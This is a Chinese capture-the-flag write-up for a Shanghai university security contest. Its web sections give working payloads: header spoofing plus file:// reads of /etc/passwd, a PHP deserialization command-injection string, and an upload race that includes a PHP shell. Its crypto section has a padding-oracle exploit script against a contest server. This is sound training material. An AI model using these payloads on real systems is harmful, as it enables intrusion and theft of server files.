第四届上海市大学生网络安全大赛线上初赛 WriteUp
比赛入口地址：https://race.ichunqiu.com/dhb
随便玩玩。总共 15 道，解出 8 道，排名第 15。
Misc - 签到
MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q
Base32 解码
Flag：flag{35222d30-439e-4afb-91f4-abebc73fe05c}
Web - web 1
打开题目提示访问 robots.txt
<!-- you need to visit to robots.txt -->
两个文件，一个 source.php ，一个 flag.php
打开 source.php，提示 POST admin
<!-- post param 'admin' -->
POST admin=1
only 127.0.0.1 can get the flag!
没有找到 SSRF 的地方，应该就是改 Headers 头了
X-Forwarded-For / X-Client-IP / X-Real-IP 三个都试了一下，发现认的是 X-Client-IP
带 Header X-Client-IP=127.0.0.1，提示
you need post url: http://www.ichunqiu.com"
POST url=http://www.ichunqiu.com/robots.txt，得到一个地址
<img src="download/26052982;img1.jpg"/>
POST url=file://www.ichunqiu.com/../etc/passwd
成功读到了用户表，并且得到
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
估计 flag.php 就放在默认的位置
POST url=file://www.ichunqiu.com/../var/www/html/flag.php，得到 flag
Payload：
POST /source.php HTTP/1.1
X-Client-IP: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
admin=1&url=file://www.ichunqiu.com/../var/www/html/flag.php
Flag：flag{c0aea182-82bd-4b1d-ac52-164793598ec9}
Web - web 2
有一个 vim 的备份文件，可以拿到题目的源代码
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
看到 come 类的 system 命令基本的推测就是做反序列化了。
主程序先检查四个变量是否为特定的变量。
$first 可以直接从 $_GET 中定义为 doller 通过第一个检查
然后可以看到 parse_str 函数，没有传第二个参数，因此会污染变量域，所以我们剩下的三个变量都可以通过他来写入
/?first=doller&a=var=give%26bbb=me%26ccc=flag
接下来是反序列化，在 __wakeup 的时候会将参数过一遍 waf，然后 flag 可以通过双写来绕过字符串替换，空格用 ${IPS} 然过
生成代码如下：
$foo = new come("echo", array("`cat\${IFS}/flaflagg`"));
var_dump(serialize($foo));
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:20:"`cat${IFS}/flaflagg`";}}
然后通过 POST 的参数 come 代入即可执行得到 flag
Web - web 3
<?php
$dir=md5("icq"); // 2765d621af8a58b78b4d528bd5ef7f6b
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
$filename 可以取 POST 中的参数也可以取文件名，我们当然要用 POST 中的参数，毕竟可利用性比较好，而且还可以传入数组。
然后可以看到他通过 explode 函数以 . 将 $filename 拆成一个数组。
然后要求 end($filename) 不等于 $filename[count($filename) - 1]
我们可以构造这样一个数组
array(2) {
[1]=>
string(1) "1"
[0]=>
string(3) "php"
}
这样的话
end($filename) = php
$filename[count($filename) - 1] = 1
这也是我上面用 POST 传 filename 的原因
------WebKitFormBoundaryY8aJ6Zd3ZcnMT3No
Content-Disposition: form-data; name="file[1]"
1
------WebKitFormBoundaryY8aJ6Zd3ZcnMT3No
Content-Disposition: form-data; name="file[0]"
php
然后就是重点了
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'], $new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
首先将我们上传的文件重命名为 [100-999].php 并存放在目录 /var/sandbox/2765d621af8a58b78b4d528bd5ef7f6b/ 里
然后接受我们通过 POST 传入的 hehe 参数，并且通过 file 函数读取这个文件
经过测试，目标开启了 allow_url_fopen 但没有开启 allow_url_include，因此我们不能直接 include 远程的文件，入手点还是在我们上传的那个文件里
由于他开启了 allow_url_fopen，因此如果传入 hehe 的地址返回需要很久的话，那样我们就有机会在 unlink 之前读取到我们的文件
因此我新建了个文件放在服务器上
<?php
sleep(9999);
然后通过 Burpsuite 的 Repeater ，上传这个文件
@<?php
system("cat /flag");
同时将 hehe 指向那个需要很久的地址
然后通过 Burpsuite 的 Intruder ，
遍历 include /var/sandbox/2765d621af8a58b78b4d528bd5ef7f6b/§§.php
一切顺利的话就可以成功的读到 flag 了
Reverse - cpp
拖进 IDA 看，重点是两个函数，逆向第一个函数，可以得到 fake flag 2333
所以，关键是逆向第二个函数，算法都很简单
POC：
t2=[0x99, 0xB0, 0x87, 0x9E, 0x70, 0xE8, 0x41, 0x44, 0x05, 0x04, 0x8B, 0x9A, 0x74, 0xBC, 0x55, 0x58, 0xB5, 0x61, 0x8E, 0x36, 0xAC, 0x09, 0x59, 0xE5, 0x61, 0xDD, 0x3E, 0x3F, 0xB9, 0x15, 0xED, 0xD5]
t3='\x99'
for j in range(1,32):
match=0
for i in range(256):
tmp2=t3+chr(i)+'\x00'*(32-j-1)
tmp2=list(tmp2)
for a in range(4):
for b in range(1,32):
tmp1=ord(tmp2[b-1])|ord(tmp2[b])
tmp=tmp1&(~(ord(tmp2[b-1])&ord(tmp2[b]))&0xff)
tmp2[b]=chr(tmp)
if ord(tmp2[j])==t2[j]:
t3+=chr(i)
match=1
break
if match==0:
print 'something wrong'
print j
exit()
t4=[]
t5=[]
for i in t3:
t5.append(ord(i))
for j in range(len(t5)):
match=0
for i in range(0x20,0x7f):
tmp=(((i>>6)|(4*i))^j)&0xff
if tmp==t5[j]:
print hex(((0x20>>6)|(4*0x20))^0), hex(((i>>6)|(4*i))^j),
print ''
t4.append(i)
match=1
break
if match==0:
print 'something wrong'
print j
exit()
print t4
flag=''
for i in t4:
flag+=chr(i)
print flag
Flag：flag{W0w_y0u_m4st3r_C_p1us_p1us}
Misc - easy_py
直接 uncompyle2 反编译 easy_py.pyc 会报错 tuple index out of range
应该是 const 元组越界了，将 easy_py.pyc 文件里的16进制 2333 改为 0000
然后用下面的脚本反编译
import dis, marshal, struct, sys, time, types
def show_file(fname):
f = open(fname, "rb")
magic = f.read(4)
moddate = f.read(4)
modtime = time.asctime(time.localtime(struct.unpack('L', moddate)[0]))
print "magic %s" % (magic.encode('hex'))
print "moddate %s (%s)" % (moddate.encode('hex'), modtime)
code = marshal.load(f)
show_code(code)
def show_code(code, indent=''):
print "%scode" % indent
indent += ' '
print "%sargcount %d" % (indent, code.co_argcount)
print "%snlocals %d" % (indent, code.co_nlocals)
print "%sstacksize %d" % (indent, code.co_stacksize)
print "%sflags %04x" % (indent, code.co_flags)
show_hex("code", code.co_code, indent=indent)
dis.disassemble(code)
print "%sconsts" % indent
for const in code.co_consts:
if type(const) == types.CodeType:
show_code(const, indent+' ')
else:
print " %s%r" % (indent, const)
print "%snames %r" % (indent, code.co_names)
print "%svarnames %r" % (indent, code.co_varnames)
print "%sfreevars %r" % (indent, code.co_freevars)
print "%scellvars %r" % (indent, code.co_cellvars)
print "%sfilename %r" % (indent, code.co_filename)
print "%sname %r" % (indent, code.co_name)
print "%sfirstlineno %d" % (indent, code.co_firstlineno)
show_hex("lnotab", code.co_lnotab, indent=indent)
def show_hex(label, h, indent):
h = h.encode('hex')
if len(h) < 60:
print "%s%s %s" % (indent, label, h)
else:
print "%s%s" % (indent, label)
for i in range(0, len(h), 60):
print "%s %s" % (indent, h[i:i+60])
show_file('easy_py.pyc')
根据反编译结果，对照 Python opcode 文档 ，可以写出解密脚本：
flag=[0,10,7,1,29,14,7,22,22,31,57,30,9,52,27]
rflag=''
for j in flag:
for i in range(0x20,0x7f):
tmp=((~i)&(102))|((i)&(-103))
if tmp==j:
rflag+=chr(i)
print chr(i),
print rflag
Flag：flag{happy_xoR}
Reverse - What's_it
照样拖进 IDA，这题也很简单
小写英文字母进行组合，长度为 6，计算 md5，满足条件，进行动态解密 check 函数
写个脚本把所有可能跑出来，最后只得到一个结果
import string
from itertools import permutations
from hashlib import md5
table=string.ascii_lowercase
match=''
j=0
for res in permutations(table,6):
j+=1
if j % 100000==0: print float(j)*100/308915776
proof=''.join(res)
tmp=md5(proof).hexdigest()
a1=0
a2=0
for i in range(len(tmp)):
if tmp[i]=='0':
a1+=1
a2+=i
if 10*a1+a2==403:
match+=proof+'\n'
print proof
print match
运行得到结果：ozulmt
ozulmt 的 md5 值有两个用途，一是上面提到的动态解密，二是作为 check 函数的参数。
动态调试，看一下那个 check 函数的代码，然后上 F5 插件方便看
传入参数给了 srand 置随机数种子
然后32次 rand%16 取 0-f 构成 flag
写个脚本计算 srand 的参数：
tmp=md5('ozulmt').hexdigest()
print 'v5: %s' % tmp[:4]
print 'v4: %s' % tmp[28:32]
srand=0
for i in tmp[:4]:
srand+=ord(i)
print srand
运行得到结果：300
在 windows 下编译下面的程序：
int main(){
srand(300);
int i;
for (i=0;i<32;i++){
int tmp=rand()%16;
if (tmp<=9)
printf("%c",0x30+tmp);
else
printf("%c",0x61+(tmp-10));
}
}
运行得到结果：a197b847709253a47c41bc7d6d52e69d
补全格式，验证一下
Flag：flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}
Crypto - aessss
好像是 2018 红帽杯 rsa system 原题（也可能稍微改了一下）
上次没做出来，这次自己做出来了
漏洞点在 unpad 的时候，选择最后一字节作为截取长度
直接贴POC：
from pwn import *
from hashlib import sha256
from itertools import permutations
import string
io=''
def new():
global io
io=remote('106.75.13.64', 54321)
table=string.ascii_letters+string.digits
tmp=io.recvline()
known=tmp.split('XXXX+')[1].split(')')[0]
target=tmp.split(' == ')[1].split('\n')[0]
match=''
for res in permutations(table,4):
proof=''.join(res)
proof+=known
if sha256(proof).hexdigest()==target:
match=''.join(res)
break
if match:
io.sendline(match)
return True
else:
io.close()
return False
right_flag='0x3478e3196c4a6a29b244380ef7cabe1030d103f3c3df019fb4ed207b849d0b6d5da5d3bf89f7ca65707c19591413de7dccddd498b8a8ab5fbae70e9ec17fdfc132a2fb63e0968d737b9839c0f7686de07251a1de0264d0ecad05749ad0d13a2c094da4a09837207c284e3ddfce2323c01ea0304e3362e06d191413fd3576657f072f823e07cf1c77ce453c4823c9d827545247254c8fedbe3c400567ca40eb047e1a7dba3962230b4cd0acc58d4b112690549f40c3553e34c38a1c2898a5eb5b33049d0032de35654639eb953b03464209809abecc70f0142f81fcf06298546ee58387795e9d59aa86a60e3a43a8d8f326f8a1e6ae9920291de72c638a9203fa'
flag=''
new()
for i in range(33):
match_flag=0
for j in string.digits+string.ascii_letters+'{}-_/+=,.':
print hex(ord(j)),
run=1
while run:
try:
io.sendlineafter('choice:','2')
payload='a'*(256-33-1)+chr(256-33+i+1)
io.sendlineafter('something:',payload)
io.sendlineafter('choice:','2')
payload=j+flag+chr(256-33)*(256-33)
io.sendlineafter('something:',payload)
io.sendlineafter('choice:','1')
if right_flag in io.recvline():
flag=j+flag
match_flag=1
run=0
except:
print 'except, do poc'
io.close()
new()
if match_flag: break
if match_flag==0:
print 'something wrong'
exit()
else:
print flag
Flag：flag{H4ve_fun_w1th_p4d_and_unp4d}
Comments